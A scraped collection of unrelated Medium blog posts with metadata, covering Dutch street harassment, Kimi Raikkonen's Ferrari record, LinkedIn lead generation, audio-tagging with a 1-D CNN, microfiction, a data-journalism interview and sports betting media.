Victims of street harassment are often left feeling humiliated and helpless. Especially, subtler cases of assault. Many victims admit to not contacting the authorities in fear of being ridiculed. The interpretation of verbal comments can be a subjective matter, and frequently, the court has been classifying them under “freedom of expression” paragraphs. Even in situations that led to actual physical violence or rape, the public blamed victims for “being out so late at night” or for “dressing inappropriately”. This caused only 5% out of 84% of harassed women to report such cases to the authorities.
Not long ago, the municipalities of Rotterdam and Amsterdam introduced a ban on hissing, calling or making obscene gestures to strangers. Breaking this law resulted in a solid fine reaching up to 4,100 EUR or even 3 months in prison. The government had hoped to reduce the astounding frequency of street harassment in public spaces. Yet, in 2018 a man accused of harassing two women by sexually addressing them and blowing hand kisses was let off the hook. The judges were unable to prove his behaviour was more than an inadequate attempt to flirt. This incident brought the topic of street harassment back into the spotlight.
What is classified as harassment?
Undesired comments, gestures and actions forced upon a stranger in a public space without their consent directed at them because of their actual or perceived sex, gender, gender expression, or sexual orientation. Any kind of behaviour or speech continued towards a stranger, despite their request to stop, is considered harassment.
As a woman in her 30s and a psychologist, it took me until this year, to realize how much I had adapted to living in fear. When returning home at night, I keep my gaze glued to the ground to avoid contact with strangers. I do the same when walking by football fields or construction sites, even in broad daylight. I don’t dare cycle through a park after midnight — instead, I’m forced to take the longer, well-lit route through the city. What’s most bizarre, is that I have treated these measures as a norm for most of my life.
I asked some fellow expats about their experience with street harassment. There was a strong polarity in responses: half of the interviewees claimed they felt safer in the Netherlands than in their homeland, and the other half shared nerve-wracking stories of being harassed. There was also a handful of people who responded to the subject with mockery. This highlighted the need to educate people on the severity of sexual harassment.
“I had a couple of experiences when I first arrived in Amsterdam. At some point, it was every morning at 6-ish when going to work with the streets being empty. Some street cleaners would catcall me (making kissing noises). I remember they were super persistent, sometimes following me with their tiny white truck. One morning, one of them came closer. I sent him to hell with one look and he backed off, but after that, I started leaving to work later because it just didn’t feel safe.”
- Aida
“A man followed me on a scooter. I ran to a football club close by and hid until he went away.”
- Nadine
“ Once, at the bar, this guy kept running his arm ‘accidentally ‘ against my breast. I had to keep my arm in place as a shield. Realized it was intentional when he grabbed my cigarette out of my hand and threw it in some water.”
- Skye
“I was sitting in a train and a drunk guy sat next to me. Started making sexual remarks to me, slapped my leg a couple of times and then ran his hand up the inside of my thigh. Two women opposite of me cheered him on.”
- Bert
It is important that we don’t confuse insults with compliments. It’s best to follow our intuition: we can pick up the caller’s intentions by their tone and body language. Luckily, there is a big difference between an attempt to flirt and an intimidating remark. Of course, grey areas exist where we can’t be fully certain. There, it’s important to state your disapproval if you feel uncomfortable, and if the perpetrator doesn’t stop — take further action.
How to React to Street Harassment?
Most of all, do not take the blame on yourself. No one deserves to be mistreated regardless of gender, appearance, or ethnicity. Take action and prevent criminals from harming others in the future.
1) If you feel threatened: don’t react, keeping walking away with confidence. Next, call the police on 112 or anonymously report the location via your StopApp (active in Amsterdam, The Hague and Rotterdam). You can download this app on your phone.
(Fact: In the first 6 months since its launch, 1400 reports were made!)
If you incur violence, knowing these moves off by heart can help: 5 Simple Self-Defense Moves Every Woman Should Know | Prevention
2) Confidently, address the harassing behaviour. If others are around, be sure to describe the person who is crossing your boundaries. Some useful comments are:
- “Do not talk like that to me, that’s harassment!”
- “Stop touching my leg, man in orange shirt — that’s harassment!”
- “Move away from me”
- “Show some respect”
NEVER apologize for the way you feel. Responses, such as “I’m sorry, but you are crossing my boundaries” will be less impactful.
Use strong body language, project confidence and remain calm. Try to avoid using curse words, even if your perpetrator is swearing.
Next, report the case to the police or via the app. Use your intuition here, and remember: you have the right to notify the authorities about anyone who makes you feel threatened and unsafe.
Written by Michelle Prygiel, Psychologist for EXPAT REPUBLIC | https://medium.com/@michelleprygiel/how-the-dutch-are-fighting-street-harassment-4c0d4343340e | ['Michelle Prygiel'] | 2021-08-27 11:23:32.428000+00:00 | ['Defense', 'Street Harassment', 'Safety', 'Netherlands', 'Sexual Harassment'] |
Did Kimi Raikkonen cost Ferrari a Championship? | Image: RaceFans.net
When you take a look back at the 2019 Formula One season, the emergence of the young drivers is a notable highlight. We witnessed the real beginning of names that we will continue to hear for many years to come. Albon, Norris, and Russell made real impressions in their rookie seasons and quickly joined the already established Verstappen as youth who are in F1 due to raw talent. The young driver we really saw come into his own in 2019 was Charles Leclerc.
Taking nothing away from the rest of the sports “new generation”, Leclerc shone more than the others. Yes, it was his second full season compared to the others’ first. But despite having a four-time world champion as a teammate, he was the only driver of this young squadron to outscore his same garage rival.
For the first time in the turbo-hybrid era, Ferrari had two drivers who were competing at a similar level. For the first time in the turbo-hybrid era, both Ferrari drivers finished the season with less than 25 points (one win) between them. For the first time in the turbo-hybrid era, Ferrari didn’t have Kimi Raikkonen.
Kimi Raikkonen, despite his popularity, has his early years in Formula One to thank for his reputation. He undoubtedly has the necessary talent to drive in the sport. The Finn is one of just three current drivers who have a world championship. His 2019 season at Alfa Romeo showed that he still the spirit to compete comfortably in the midfield. Ferrari, however, has never had any aspiration to be a midfield team.
Image: formulaspy.com
The Start of the Finn
Raikkonen became part of the F1 circus way back in 2001. He debuted with Sauber at 21 with only 23 junior race series starts to his name. He scored points at his first race in a time where only the top 6 earned points. Kimi promptly moved to McLaren for the following season where his perennially unreliable car either retired or finished 4th or above. His McLaren years were unfortunate to coincide with the Schumacher-Ferrari dominance years or else a championship would’ve been his. An impressive 2005 challenge was put to bed by Alonso and the brief rise of Renault.
And so in 2007, Raikkonen jumped ship to Ferrari. He won a thrilling championship battle by just one point ahead of each of his former team’s replacements, Alonso and Hamilton.
He won 6 races for the Scuderia in that championship-winning year. He won 4 in his next seven seasons with the team. 4.
His first tenure at the Maranello outfit had him partnered with Felipe Massa, the nearly-man of Formula One. A lot of people have called Massa the 40-second champion due to his near championship of 2008. I remember watching, in person, Massa spin five times at Silverstone that year. I also remember seeing Hamilton cross the line in first place at Spa, again in person, before Massa inherited the win due to a dodgy FIA penalty. If Massa were to be a champion, he would be a poor one… yet he did outscore reigning champ Kimi that season.
Image: shopmania.biz
For completeness, I’ll briefly note Raikkonen left Ferrari in 2009 despite having a contract for 2010. Failed negotiations with McLaren, Mercedes, and allegedly Toyota, resulted in the Finn leaving the sport until 2012. His return at Lotus was strong with Kimi scoring points at all but two races that he finished over two seasons, also picking up two victories. Then he returned to Ferrari.
Return to Red
Raikkonen’s second stint at Ferrari pitted him against 2 of the indisputable best drivers of the modern generation, Alonso in 2014, and Vettel from 2015 to 2018. Both outshone the Finn.
The 2014 Ferrari was woeful. Mercedes had made the best engine for the new regulations and Ferrari had no answer. Alonso dragged the F14 T to just two podiums, Raikkonen managed none. Alonso scored 151 points over the season, Raikkonen mustered 55. No team could’ve stopped Mercedes this year, but Ferrari finished a dismal and distant 4th. It was enough for Alonso to give up on the Scuderia. And it opened the door for a world-champion German seeking further glory to step in.
Let’s remember that Vettel benefitted massively from the timing of Alonso leaving Ferrari. That season he didn’t win once after coming off the back of a record nine wins in a row. Ricciardo got promoted from Toro Rosso and promptly outscored, and outshone his German teammate. Vettel saw the opportunity to not only emulate his hero and fellow countryman, Schumacher. But also could escape another season of being made to look slow by the honey badger. Vettel knew Raikkonen would be his teammate and happily joined regardless.
Image: motorsport.com
A German walks into Maranello…
In his first season at Ferrari, Vettel outscored Raikkonen by nearly double — 278 points vs 150. Vettel managed to make the podium 13 times in 19 races while Raikkonen visited just thrice. And even though the Mercedes team continued 2015 in a similar commanding fashion to 2014, Vettel could guide his Ferrari to victory on three occasions. Raikkonen did not win once.
2016 wasn’t didn’t have much difference between the two Ferrari drivers. Well, aside from that they didn’t have a race-winning car that season. It was shades of 2014 again for the team. No wins for the team, but Raikkonen being shown up by his superior teammate. Despite no victories, Vettel did get on the podium seven times to Raikkonen’s four. The gap between the Ferrari drivers was at its lowest during Kimi’s second tour at the team. He “only” finished 26 points behind Vettel. But he did finish last amongst the top 3 teams.
2017 was a different year for Ferrari. Rosberg had surprised everybody, including Mercedes, and retired after his championship. His replacement, Bottas, was not familiar with the team and wasn’t expected to perform on Hamilton’s level. And even more importantly, the Mercedes team were beatable. After three years when Mercedes battled themselves for both championships, it was to be a two-team battle for the top. Even if Hamilton were to win the drivers championship, an established duo with a capable car surely would get the constructors, right?
Finn vs Finn
The first half of the season was almost a tit-for-tat battle between Vettel and Hamilton. Ricciardo and Bottas achieved some token wins, but the two at the top were in a league of their own. In the second, Vettel lost steam, and it was Verstappen who took the wins from Hamilton instead. After the Bottas took the final chequered flag of the season, Vettel finished second with 317 points to Hamiltons 363. 46 more points throughout a 20-race season against a new number-two driver is all Raikkonen needed to let Ferrari win their first title since 2008.
Kimi scored 205.
Bottas… 305.
One hundred points were the difference between the two. Four race victories. And that’s four victories for Raikkonen where Bottas would’ve needed to have had DNFs. In fact, Raikkonen was barely ahead of the Red Bulls. Bottas meanwhile was challenging for the title. If it were in any doubt before, 2017 confirmed it. Raikkonen was holding the Tifosi celebrations back.
Image: motorsport.com
2018 was a big difference for the battle of the Finn number-two drivers though. Bottas scored zero victories all season. He did get to the podium seven times though — six times as the runner-up. But no wins. For reference, Hamilton won eleven times this season.
Vettel did all he could to challenge but succumbed to a vast 88 point deficit in the end. But if Bottas could outperform a lacklustre Raikkonen in 2017 by one hundred points, what could Kimi do with Valterri now on the back foot? The Iceman scored five more podiums than Bottas and even a victory. Could he lead Ferrari to a consolation constructors title? No. No, he couldn’t. Although he managed third in the championship this year, it was only by four points versus Bottas. Well below the required 88 points needed for a constructors victory.
Before we imagine what might’ve been, we have to remember that a more competitive partner to Vettel in 2017–2018 would also have taken points off of the 4-time champion. A net-zero win for Ferrari. But when we consider the success of Leclerc in 2019, he didn’t just take points from Vettel. He took them from Hamilton too. And he took them pretty often.
In all reality, the only season the Ferrari was anywhere near close to Mercedes was 2017. That double-DNF in Singapore is painful for any Tifosi to remember. But if you had a Leclerc level driver in the second Ferrari that season, it’s not difficult to think it would’ve been a 4-way scrap for the title. Bottas did well, but how many more points did he score because Raikkonen was that much worse? We can only speculate and will never know. But in the eyes of this fan that 2017 constructors title would be Red and not Silver if Ferrari had upgraded from Raikkonen earlier.
Originally published at https://www.fortloc.com where you can find more motoring news and reviews. | https://jimonf1.medium.com/did-kimi-raikkonen-cost-ferrari-a-championship-af35ff15650c | ['Jim Kimberley'] | 2020-01-15 01:12:38.257000+00:00 | ['Ferrari', 'Formula 1', 'Kimi Raikkonen', 'Finland', 'Motorsport'] |
How to Generate Leads from LinkedIn | Created as a social media network for professional communication, LinkedIn has already developed into a useful and powerful platform for sharing expertise through content publishing and a lead generation tool. The network boasts a wide selection of robust solutions for business promotion and analytics, yet it’s still one of the most underestimated platforms for social media marketing. However, those marketers and salespeople who are willing to invest their time and effort into the LinkedIn lead generation process are already gaining benefits.
There is no “magic bullet” to generate leads from LinkedIn in a matter of minutes, but a combination of effective strategies may work magic and help you establish yourself and engage your target audience on the platform.
LinkedIn Leads Generation Potential
LinkedIn is a thriving social platform with great potential for digital marketing, for some quite obvious reasons:
it has about 700 million regular users
the total number of business profiles exceeds 9 million
people from over 200 countries use it for business communication
all Fortune 500 Executives present on LinkedIn, and over 75% check their accounts daily
in 2019, LinkedIn was voted the most trusted network
professionals from different fields look for professionally-geared content on the network to grow their businesses
you can laser-target your prospects on a much deeper level than on other platforms, using geolocation, industry, work history, language, interests, education, and more.
690 million members in 200 countries and regions worldwide
No wonder LinkedIn generates many more leads than blogging or sharing on other social media. It has the highest conversion rate compared to other platforms, including Google Ads. In fact, over 80% of B2B leads are generated on LinkedIn.
You can also connect with your prospects on LinkedIn directly, not necessarily having 1st or 2nd-degree connection.
However, simple accessibility of your target audience is not enough to successfully generate leads with LinkedIn-you need to follow certain steps and guidelines to do it well. Let’s check them out.
Steps to Take to Effectively Generate Leads on LinkedIn
Optimize profile
In this article, “optimization” means tailoring and polishing your page so that it’s not only aesthetic and engaging but also SEO-optimized. Study some of the popular key- and buzzwords in your industry and make your page SEO-friendly. To do this research, consider web scraping for SERP purposes and check how your competitors rank, what keywords work best, and how you can improve your page. LinkedIn’s search algorithm works similarly to that of Google’s, so take time to optimize your content well so that it can rank high on both platforms. Please note that long-tail keywords make targeted efforts more precise and bring you higher quality traffic.
Since the platform unites professionals in different spheres, it’s essential to cultivate an impressive business page and optimize your brand profile. It’s imperative to make it expert, attractive, engaging, active, and thought-provoking. Consider adding video to your content-it’s not only engaging but also ranked high on LinkedIn. Speak about your projects-it not only allows you to showcase your expertise and highlight your skill set, but also allows you to create high-quality links to your corporate website.
You should carefully study your audience, determine the content that resonates with your prospects, and provide it to them. To learn from others in your industry as a means of inspiring your content, you can use various approaches, but web data scraping of your competitor sites and thematic forums can be the best and most efficient option.
Connect and interact
While profile optimization on LinkedIn for lead generation is more like a preparatory stage, reaching out to your potential clients is actually the process. Let’s talk about it.
The first approach we’ll mention is an outreach method: first, you search for your potential clients and then connect with them. It’s important to be comfortable with such an approach and adept in the art of communication via messages. Not all people like this method, so delegate if you are one of them.
A person establishing contact should know how to get someone interested in just one connection message-how to ask the right questions and keep the prospect interested. In an ideal world, you should personalize each outreach message and offer something to a reader-a newsletter shout-out, a blog mention, a quote, etc. The established contact should be then maintained through messaging, sharing useful articles or videos, etc. Thus, when a conversation has already been started, you may proceed to offer an email presentation, asking for a phone call, or even meeting face-to-face.
You may be wondering how to look for prospects to contact and generate leads with on LinkedIn.
Start by connecting with your current and former contacts. It’s rather safe and effective since there is already trust between you. Look for people you’ve lost contact with and reach out to them.
Make it a habit to look a person up via LinkedIn and invite them to connect as soon as you exchange business cards with somebody new.
Contact your former clients. Show interest in their new project or job, and try to help somehow. Later on, you can proceed to offer your product or service.
Groups can be an incredible source of information about your industry pain points and also a means of generating leads on LinkedIn. You can not only get valuable insights from such communication, but you can also see new ways to solve certain problems and help others do the same. When you engage in conversations on posts or in groups, focus on relationship-building first, and then you can get to promotion. Your answers and posts in the group should be a helpful resource, not a sales pitch for your product or service. Keep in mind to check each group’s regulations as to content sharing before promoting your content or referring to your site.
Check out individual profiles, discover the influencers in your industry, and follow the events they attend, the blogs they write, the forums they visit. Find the part of their audience relevant to your targeting. To gather this information quickly and hassle-free, you can use web scraping services. Then, you’ll get a verified database of your potential leads, extracted according to your parameters and requirements.
Take advantage of lead generation ads on LinkedIn
Making your page engaging is good for your current network, but it also matters for attracting new people. Targeted advertising is the best way to expand your network and draw new leads, especially on LinkedIn.
The platform offers:
both PPC (pay-per-click) and CPM (cost per impression) text ads,
sponsored content posts, standard or direct,
InMail.
In all these cases, targeting is highly customizable. LinkedIn crafted its advertising platform with lead generation very much in mind.
First, you can scrape LinkedIn profiles of your prospects with a special tool or service and then segment your target audience according to multiple parameters such as age, gender, school, industry, company size, job title, shared groups, etc. LinkedIn campaign manager allows you to zone in on just about any part of the audience’s profile; thus, you can make your advertising laser-targeted and ensure to hit your ideal prospects with updates.
Such detailed targeting options for LinkedIn B2B lead generation make you a real winner compared to the users of other platforms and networks. Even though video is one of the most popular ad types, many LinkedIn lead generation ads are centered around downloadable reports and other purely business lead magnets. You can allow your prospects to fill out a form or respond to an event immediately through your ad. This one-touch process provides you with interested leads right away.
What’s more, LinkedIn differentiates sponsored content into standard and direct.
While the former is an update published on a company page, the latter is a much more customized form of sponsored content that allows you to customize, personalize and test the messages sent out to your target customers.
It’s vital to keep in mind that users are individuals with variable interests and intentions, so you must provide them with various content through your advertising. Some users need information to read right away. In this case, you can give them a website link or a landing page URL to click and access all the information immediately. Others may want to study information later, so offer them a brochure, a whitepaper, an industry report, or something to come back to later.
However, before choosing between the two, you need to check how exactly your content will be shown: sidebars are not displayed on mobile devices, for instance, while direct sponsored content will be published in the user’s newsfeed and seems a more desirable feature than an ordinary top-page banner.
InMail is your personalized and customized way to outreach to people outside your network.0 This ad feature allow you to send messages directly to a target person. This LinkedIn lead generation ad type is easy-to-create due to its extremely user-friendly dashboard.
Last but not least, the platform allows you to add an insight tag, an effective conversion-tracking tool integration, directly to the company’s landing page or site to track the results.
Give potential leads the content they want
If you want to succeed in generating leads with LinkedIn, you must keep your audience in mind and share useful and expert content of high quality.
Careful research and planning will help you optimize your content and add specificity to your messages to increase involvement and make an optimal impact.
Pay attention to the tone, style, and format you use to hit your target demographic. White papers, tutorials, reports, webinars, and SlideShare presentations are effective at funneling; however, there is no one-size-fits-all approach.
Try to do some research, understand what your market wants, and create a fantastic solution to present to them, either in a lead gen form or in your newsfeed.
Content marketing is now proving to be very effective on LinkedIn and your chances to make a big impact as well as generate leads with quality content are great.
Don’t be afraid to spare a minute for a daily update-you cannot only use it to share a link to a blog post, article, or video relevant to your targets, but also to extract some ideas from prospective clients or possible partnerships about certain revenue-generating projects.
Integrate LinkedIn with your CRM
This is a piece of bonus advice for you-even though you can generate leads and then export them manually, CRM integration can simplify your life significantly.
Once integrated into your CRM, your B2B generated leads can start working for you right away and become a part of your follow-up sequence. You can now email them for returning and remind them about their interest in your product or service earlier.
Conclusion
Lead generation with LinkedIn is not only 100% possible, but also extremely effective for businesses eager to get high conversion rates out of an already expensive audience. Certainly, you’ll need to put time and effort into accurately defining your target audience and figuring out what content and which approach works best for you. The results will surely pay off.
Generating hundreds of leads a day won’t happen overnight, but DataOx can help you extract the necessary contact information about your potential leads to simplify and speed up your work. Schedule a free consultation with our expert and discuss what we can do to help you with effective B2B lead generation on LinkedIn. | https://medium.com/@dataox/how-to-generate-leads-from-linkedin-faafc5adba | [] | 2020-12-14 09:23:29.495000+00:00 | ['Technology', 'LinkedIn', 'Web Scraping', 'Startup', 'Lead Generation'] |
New Questions for Online Dating Profiles During a Pandemic | In response to concerns about a highly contagious novel coronavirus, developers are helping users screen potential dates. Ladies must be more vigilant than ever when looking for red flags. It is critical to know how your future mate responds to crisis. Will he/she/they protect you or put you at risk? Find out by reading their responses to pandemic related questions.
When do you wear a mask? Choose all that apply. | https://medium.com/lady-pieces/new-questions-for-online-dating-profiles-141aa13a6150 | ['Rachael Ann Sand'] | 2020-12-07 22:34:44.953000+00:00 | ['Dating', 'Women', 'Humor', 'Online Dating', 'Satire'] |
Freesound Audio Tagging — Recognizing Sounds of Various Natures | 7. Modeling
Initially, we build our models using the curated training dataset only as these clips are quite clear and audible. Also, the data is less (~5000 clips) as compared to the noisy set (~20,000 clips) and thus the models will be trained faster.
Later on, we will try training the models on the complete dataset (Curated + Noisy) and check if there’s any significant increase in the model’s performance.
Since we have time-series data, we’ll try deep learning models as these are quite strong in extracting hidden features from raw data, given there is enough data.
7.1 Train-Validation split
We perform a 70–30 train-validation split which is not random, but, stratified such that both train and validation dataset contains approximately the same distribution of the number of labels per clip. The above strategy helps to reduce the train-validation set differences.
Stratified Train-Validation Split
We can verify if the split works as expected:
Get the percentage of clips having a given number of labels in the input dataframe
Distribution of the number of labels in train and validation dataframes
As we observe, the train and validation datasets have the same distribution of the number of labels per clip.
Since this is a Kaggle competition, we have a separate test dataset (~3,300 clips) which we will use to evaluate each model’s performance.
7.2 Data preparation for Model-1
After this, we read the contents of the preprocessed .wav files produced in Step 5 using scipy.io.read(). We can have multiple ground truth labels for each clip which we convert into multi-hot-encoded vectors.
All the data is converted into TensorFlow Datasets format. This allows proper utilization of both CPU and GPU so that the idle time for each of these is minimum (this link can be referred to for more advantages of TF Datasets).
The detailed code for conversion of the .wav files into TF datasets can be found on my Github Profile.
As mentioned in Step 5, we used a sampling rate of 16 kHz (16,000 samples per second) and sampled/padded each clip to the same length of 15 seconds. So, each clip/datapoint now contains 16,000 samples/second * 15 seconds = 2,40,000 samples in total. Each sample here becomes a feature for the ML model.
Example datapoint
7.3 Model-1 (1-D CNN)
We use a 1-dimensional convolutional model (architecture is inspired by this kernel). It performs temporal convolution (along one axis only) on raw time-series features. We prefer to use 1-D CNN over RNN/LSTM because these are much faster to train and give better results. Max-pooling layers are also used to downsample, so as to reduce overfitting. Appropriate dropouts are also used for the same purpose. ReLu activation function is used everywhere except the last layer where we use the Sigmoid activation function since we want independent probabilities for each class.
Since this is a multilabel classification task where multiple labels such as “Crowd”, “Cheering”, “People” can be present in the same clip, we use sigmoid and not softmax, the main difference between these two is, sigmoid predicts the probability of the clip belonging to each label independently, i.e., the clip can have a probability of belonging to class “Crowd” equal to 0.7 and at the same time, the probability of it belonging to the class “Cheering” can be 0.6, while, softmax assumes each clip belongs to only one label (that is, all probabilities are dependent on each other so that the total sum is 1). This is a very nice article explaining the differences between sigmoid and softmax.
We use the Categorical Crossentropy loss function, a batch size of 64 along with the Adam optimizer to train the model.
Model-1 (1-D CNN)
Architecture of Model-1
We train the model for 50 epochs, store the weights after each epoch, and observe the train and validation curves to be as follows: | https://medium.com/swlh/freesound-audio-tagging-recognizing-sounds-of-various-natures-bd8df75d5d59 | ['Divyansh Jain'] | 2020-12-22 22:52:05.029000+00:00 | ['Machine Learning', 'Deep Learning', 'Data Science', 'Audio', 'Kaggle Competition'] |
How to Write Microfiction and How It Improves Your Writing. | How to Write Microfiction and How It Improves Your Writing.
Including examples of my work
SamHArnold
What is microfiction?
Microfiction is the art of writing a story in as few words as possible. Most short stories are between 1000 and 2000 words. Microfiction tends to be a story with a much smaller word count. Sometimes as low as 50 words. I write microfiction in 280 characters or less to fit in with Twitter.
At cafe sat a timid woman. She kept looking at her watch as if she didn’t quite believe the time. When anyone walked in she looked up. The blow was fleeting on her face. When he came in, she looked up smiled and left.- SamHArnold
The History of Microfiction
Microfiction was originally called flash fiction. Then word counts decreased further and microfiction was created. Recently it has become more popular and established itself in literature.
SamHArnold
The Structure of Microfiction
Microfiction is written the same as any fiction, it has a start and middle and an end. Characters need to be attractive to the reader. It is best to keep the characters name as short as possible to save on character count. Authors of microfiction must be strict in their writing. Every single word has to have a purpose. Where possible only one word is used to explore or describe something.
You need to write concise short prose that deal with all the issues in as few words as possible. It isn’t as easy as it seems. I start with a longer piece of writing and then edit the bones out of it.
Jack looked at the winning lottery ticket in his hand. He thought about what this meant. He thought about his girlfriend. The wind ruffled the ticket. He screwed it up and threw it away. No jackpot was worth that much trouble. — SamHArnold
Microfiction can Evolve Stories.
Some months ago I wrote this simple microfiction story. This came to me in a flash whilst I was sitting waiting for my partner to come out of the shop.
SamHArnold
From these short sentences, the story grew in my head. It was also helped by many people asking where the story when from here. I later wrote the post into a short story piece.
From the response from this story, I have now decided to extend the novel further into my fourth full novel. From one simple idea, the story has evolved and grown.
Microfiction is a medium that allows this like no other. A seed of an idea can grow into something bigger.
SamHArnold
Challenge yourself to write microfiction. Share the links to your stories below so we can all read them. For more examples of my microfiction visit my website. | https://medium.com/publishous/how-to-write-microfiction-and-how-it-improves-your-writing-32f9edf1f48e | ['Sam H Arnold'] | 2020-08-10 07:42:19.059000+00:00 | ['Writing', 'Microfiction', 'Writing Tips', 'Fiction', 'Inspiration'] |
The data-journalism business w/ Tommaso Guadagni | Q: Let’s start from the beginning. What’s Visualeyed? What are its main features?
A: Visualeyed is a blog run by The Visual Agency and Dalk. It’s a hybrid creature that wants to raise both users and editors’ awareness about accessing information through immersive, multimedia and digital first experiences. The specific set of content, which includes both articles written by Dalk editorial staff and selected from the best newspapers across the world, is its peculiarity.
Q: Why did you choose to create this project? Where did you come up with this idea?
A: Journalism has always been my passion. Visualeyed was born in 2015 as a blog of The Visual Agency, where I worked as marketing manager.
I personally created this blog to collect the best data-journalism articles from the web.
I was highly interested in American journalism because over there journalists had already started using some data visualization modules, that in Italy nobody was able to develop.
In 2015 we were true pioneers in this field and, also for this reason, Visualeyed impressed a lot of people.
Q: Who’s the magazine for? Did you define a specific audience?
A: This blog is addressed to an audience that appreciates the online magazine reading and that is curious to deepen information. I’ve never worked for a specific target.
Moreover, we decided to write this blog completely in english because our audience isn’t just Italian, but definitely global..
Q: Your personal passion for data visualizations, infographics and storytelling has also become your own work. Do you think it’s complex to work in this field, especially in Italy?
A: Yes, I know that I’m really lucky. In italy we’re great communicators and innovators, but we don’t have a market ready to embrace these innovations. In the early years, the data visualization field was just academic. We were able to raise awareness and to intercept a common growing need: turning complexity into meaning.
Today something has changed.
I’ve always thought that journalism plays an important role in our society and I believe that italian editors should have taken data visualization and data-journalism into account much earlier.
For all I know, in the main Italian newsrooms there aren’t data-journalist teams.
Q: What are the main aims and future goals of Visualeyed?
A: This year Visualeyed has been entirely renewed. Until 2020, the main goal was to educate the users to a different digital journalism: guide them to look for not only the aseptic information, but also an immersive experience. I would have liked to call it the “The Netflix of the publishing industry”, but, in Italy, people were not ready yet.
Today the main goal is changed: from January we’ll become a registered magazine, we’ll have a new editorial director and we will offer our readers everyday high-quality information.
We want to become a global benchmark for data driven storytelling.
Q: Would you explain to us what the V-Stories are, and how Dalk and The Visual Agency collaborate in order to realize them?
A: V-Stories are one of our best outputs. They are multimedia longforms that deepen highly complex topics. I was inspired by The New York Times and The Washington Post newsroom teams, so I tried to reproduce similar teams for Visualeyed too.
V-Stories are a clear example of teamwork: different highly-qualified professional figures work together in order to create something unique.
Q: In Italy there aren’t many online “data-driven” magazines such as Visualeyed. Do you think that Visualeyed could be a pioneer in this sector for the italian publishing industry?
A: Actually, In Italy data-journalism exists, but data journalists are scattered across different newsrooms.
For example, OnData, Data-Ninja, Spaghetti Open Data, Datajournalism.it or professional figures such as Elisabetta Tola, Marco Boscolo, Davide Mancino, Filippo Mastroianni, Daniele Grasso, Matteo Moretti, Jacopo Ottaviani and many others have been true pioneers for italian data-journalism.
I want to underline that the main goal of Visualeyed is to become an international cultural benchmark for data and visual journalism, because in Italy the audience interested in this field is still too small and unprepared.
The reasons are many: certainly, the shortage of open data could be one.
Furthermore, the Italian public is used to opinion-makers and commentators, not to information driven through data. | https://medium.com/the-visual-agency/the-data-journalism-business-w-tommaso-guadagni-ca46bf441030 | ['The Visual Agency Editorial'] | 2020-12-15 09:36:59.688000+00:00 | ['Data Visualization', 'Data Journalism'] |
The state of sports betting content | You ever have a concept you want to flesh out but don’t really know how to organize your thoughts? That’s what this blog is: an attempt to wrangle up my loose ideas and corral them into an organized, digestible piece of writing. We’ll see how it goes.
Anyway, I’ve been consuming sports betting content ever since sports betting became legal (outside of Las Vegas) in 2018. Actually, “consuming” isn’t the right word. I’ve been seeing sports betting content. I was consuming it at first, as my young, naive mind was deferent to the ideas of those I trusted. I already had exposure to sports betting terminology; I knew what point spreads, totals, moneylines, parlays, teasers, etc. were. But with the repeal of PASPA I was introduced to new concepts: ticket percentages, money percentages, steam movement, sharp vs. square action. I was impressionable and inclined to believe what I read.
My senior year of college I had an internship at a then year-old media company called The Action Network. My time there was great, learning media practices while also training my sports betting and social media skills. I started noticing new twitter accounts devoted to covering a burgeoning industry. Sports betting “experts” popped up left and right, giving picks and the reasoning behind these picks. Old tout services expanded their reach, Stu Feiner’s screaming face couldn’t be avoided during a twitter scroll. Arbitrary trends were used in game previews, most of which had zero legitimate correlation but sounded pretty good in an article or a tweet.
I finished my internship with The Action Network prior to spring 2019 (it was a wholly positive experience) and focused my sights on post-grad work opportunities. Alas, my baseball playing career was on its final legs. I sat in the back of lecture halls applying to every job that had the word “sports” in it. Apparel, data analysis, media, business… you name it, I applied. I finally got a bite on my line and ended up taking a job in the sports betting world at a company called Kambi, which provides odds and risk management services (among other things) to sportsbooks. I learned the bookmaking ropes (though some professional bettors on twitter will vehemently argue against the legitimacy of European bookmaking practices) and more importantly began to understand most of what I was seeing in sports betting media.
With a few notable exceptions (what’s up @SportsbkConsig) the sports betting media landscape is all a spectacle. That is to say 90% of the analysis and picks you’re seeing have no substance. Most of the sports betting content I see on a daily basis is picks or “analysis” filled with personal opinions, if statements, and my least favorite: arbitrary, cherry-picked trends. Here’s a tip: if a trend has a time horizon of 17 games, that’s likely because if you expand the range to 18 games (or a statistically significant sample size) the results don’t sound as sexy. All these are are tools to justify someone’s pick, which is more about their perception of the game than the actual probability of the outcome.
I want to make it clear I don’t blame anyone for this. Many see this as an opportunity to expand their reach and I absolutely, 100% understand and respect that. I’m writing about sports betting right now, trying to insert myself into the conversation, which would be completely hypocritical if I was against sports betting content on a whole. I’m not. All I’m trying to say is two things: first, be careful when reading sports betting analysis, and especially careful when tailing someone. Hot streaks are very real, and very deceiving. The numbers you read are most often (not always) specifically chosen to support the author’s pick, much like people using outlier events to justify their stance on the COVID vaccine.
An extension of this is the use of buzzwords which have been championed by sports betting media while not really acknowledged by sportsbooks or professional bettors. If a total has steamed down from 137 to 133.5, it doesn’t mean you should bet under 133.5. Consider that the sportsbook has more information than you (specifically what people are betting) and their decisions have reasons. Just because someone says “reverse line movement” doesn’t indicate the sharp bet, it just indicates what the books viewed as a sharp bet at the previous line. The nuances here could save and win you a lot of money. I don’t think sports betting content creators are trying to deceive anyone, I just think there’s a fundamental misunderstanding of how odds work… which is a large reason why “the house always wins”.
The second thing I’m trying to say is the “picks” and “analysis” market is incredibly oversaturated right now. Everyone is capable of making a pick and giving their reasoning. For every person laying 5 on twitter I could find someone taking 5, both of whom will passionately defend their side as a lock or a winner. In my opinion, this type of content just isn’t valuable and isn’t how sports betting content creators will succeed in the future.
Which brings me to the question that inspired this entire tangent in the first place: where is sports betting content headed? Who will crack the code? The answer, of course, will only come with time. There are so many ways to use sports betting concepts to create compelling content, and many people (just not most) are doing so. A few examples are:
Those are just a few that come to mind. There are so many ways to tell stories through the lens of sports betting, I just think people are trying to figure out how. Eventually people will become more educated on bookmaking/odds and content will move away from simple picks and confirmation-biased analysis. If you’re out there trying to make sports betting content, please don’t let this discourage you if you’ve made picks in the past. I just think creativity will go a long way in this category, as there isn’t a lot of it right now. Best of luck to all of you and I can’t wait to see what you come up with! | https://medium.com/@ports41/the-state-of-sports-betting-content-30e9a047734c | ['Ben Porter'] | 2021-12-10 18:58:23.544000+00:00 | ['Sports', 'Sports Betting', 'Sports Media'] |
